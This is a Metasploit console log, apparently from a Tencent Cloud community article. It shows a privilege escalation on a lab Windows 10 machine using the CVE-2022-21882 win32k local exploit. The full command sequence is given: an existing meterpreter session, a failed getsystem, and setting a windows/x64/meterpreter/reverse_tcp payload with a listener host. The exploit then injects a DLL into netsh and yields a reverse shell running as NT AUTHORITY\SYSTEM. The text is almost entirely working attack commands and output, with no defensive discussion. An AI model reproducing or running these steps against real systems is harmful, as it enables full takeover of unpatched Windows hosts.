msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-28AH6B2\lfy @ DESKTOP-28AH6B2 192.168.63.142:7979 -> 192.168.63.148:50378 (192.168.63.148)
msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-28AH6B2\lfy
meterpreter > sysinfo
Computer : DESKTOP-28AH6B2
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21882_win32k) > set lhost 192.168.63.142
lhost => 192.168.63.142
msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit
[*] Started reverse TCP handler on 192.168.63.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 6644 launched.
[*] Reflectively injecting the DLL into 6644...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 192.168.63.148
[*] Meterpreter session 2 opened (192.168.63.142:4444 -> 192.168.63.148:50447) at 2022-08-17 15:08:28 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。